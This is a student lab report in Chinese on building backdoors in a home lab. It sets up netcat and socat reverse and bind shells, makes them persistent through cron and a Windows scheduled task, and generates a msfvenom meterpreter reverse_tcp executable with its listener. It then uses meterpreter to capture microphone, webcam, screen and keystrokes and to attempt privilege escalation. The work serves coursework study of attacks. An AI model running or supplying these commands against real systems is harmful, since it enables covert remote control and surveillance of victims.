20165118 Exp2 后门原理与实践
一.实验目标:
1.实践目标
(1)使用netcat获取主机操作Shell,cron启动
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
二.前期准备工作
1.虚拟机和主机的防火墙(包括杀毒软件等)关闭;(主机:在控制面板自己找;kali:apt-get install ufw
更新ufw;ufw disable # To disable the firewall
关闭防火墙;ufw enable # To enable the firewall
开启防火墙)
2.主机ip为:192.168.1.188
;虚拟机ip为192.168.88.133
3.两台虚拟机可以ping通
4.各种辅助软件需要提前准备好:netcat,socat,meterpreter
三.实验内容:
1.使用netcat获取主机操作Shell,cron启动:
(1)windows为坏人,linux为受害者:
先在Windows下进入命令行,进入ncat.exe所在目录,输入指令
ncat.exe -l -p 5118
监听5118号端口;在linux下输入
nc 192.168.1.188 5118 -e /bin/sh
使得windows的cmd窗口里就获取了linux的shellcron启动。cron是Linux下的定时任务,每一分钟运行一次,cron启动时去让linux受害者去定时反弹连接windows,在linux下用
crontab -e
指令增加一条定时任务(编辑器选择3),使用i
在最后一行插入指令40 * * * * /bin/netcat 192.168.1.188 5118 -e /bin/sh
(其中40是分钟,后面几个*对应小时,日,月,星期,因为当时是12:38,所以我改成了40),如图,在40之前输入ls是不显示的,而过了40以后就出结果了
(2)linux为坏人,windows为受害者。:
和上述步骤差别不大:
- linux下输入命令
nc -l -p 5118
- windows在ncat目录下输入
ncat.exe -e cmd.exe 192.168.88.133 5118
- 结果如图:
2.使用socat获取主机操作Shell。 任务计划启动
socat:Netcat++,超级netcat工具。
- windows作为受害者,用系统里的任务计划在特定情况下启动
在windows中打开
控制面板
,在系统和安全中选择计划任务
;再选择创建任务
;在常规里面给自己任务命名;再在触发器中选择工作站锁定时
;最后在操作中,脚本选择socat.exe
,并在添加参数一栏中写tcp-listen:5118 exec:cmd.exe,pty,stderr
,5118是用于绑定cmd.exe的端口号;保存设置。在
任务计划程序库
中找到自己的任务并右键运行,会弹出一个.exe的窗口,我们切换到kali界面在Kali Linux中输入
socat - tcp:192.168.1.188:5118
命令,可以成功得到一个cmd shell:
3.使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- Linux中输入指令先生成后门程序:使用指令
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.88.133 LPORT=5118 -f exe > 20165118.exe
(ip为虚拟机地址) windows下输入
ncat.exe -lv 5118 > 5118.exe
监听并接受后门程序- Linux中输入:
nc 192.168.88.133 5118 < 20165118.exe
向win传输后门程序 前往ncat文件夹查看文件是否传输成功(还需要看文件大小是否对,如果是0kb那就是传错了)
在Linux中输入指令msfconsole,进入msf命令行,
use exploit/multi/handler /进入handler模式/
set payload windows/x64/meterpreter/reverse_tcp /对应生成的后门程序设置payload/
show options /查看当前信息状态/
set LHOST 192.168.192.129 /设置LHOST,其中ip为Linux的ip/
set LPORT 5118 /设置LPORT/
exploit /启动监听/
- 启动监听以后返回windows,运行ncat里的.exe文件,如果在命令行被拒绝了可以换到文件夹下双击运行。
4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
本步骤是基于上面那个步骤的,下列指令可以直接输入,结果如图
record_mic//该指令可以截获音频
webcam_snap//该指令可以使用摄像头进行拍照
screenshot//该指令可以进行截屏
keyscan_start//输入该指令开始记录下击键的过程
keyscan_dump//输入该指令读取击键的记录
- 再用
getuid
指令查看当前用户,再用getsystem
指令提权,但是不知道为什么没有成功.......
5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
这个实验不会做....但是看了别人的博客了解了一些,他需要在两个虚拟机下进行
- 使用
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.88.133 LPORT=5118 -x /root/20165118lbz/pwn1 -f elf > pwn2
指令生成elf文件格式的shellcode文件 - 先给pwn2文件提权,使用指令
chmod +x pwn2
;再输入指令msfconsole
进行监听,具体操作如第四步中的操作 在被攻击者Linux中
./pwn2
运行程序,使得攻击者Linux上获得被攻击者Linux的shell再之后就不会了orz.....
四.实践所遇问题与解决
1.有时会分不清ip输入时需要输入的是虚拟机的还是windows的;
2.运行linux传输过来的文件是被拒绝访问了,解决办法是直接到ncat文件夹下双击运行。
3.linux向windows传输带有后门的软件时一直都没有成功,而且找不到错误的原因,于是我很可耻的从linux里面复制了生成的文件直接拷到windows里面了。
五.实践问题回答与收获
1.例举你能想到的一个后门进入到你系统中的可能方式。
下了一些盗版的软件游戏等。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
触发器,定时器corn
(3)Meterpreter有哪些给你映像深刻的功能?
可以使用摄像头偷窥.....
4)如何发现自己有系统有没有被安装后门?
360,防火墙等。(我实验的时候好像中毒了....因为用着用着突然很卡,然后马上开启防火墙他就不卡了............)
六.实践收获
掌握了ncat,socat,msf的使用方法,掌握了一些低级的后门植入方法,虽然还没有做到能够躲过防火墙的检测,还有...防火墙是真的有用的,以前一直觉得他没啥用。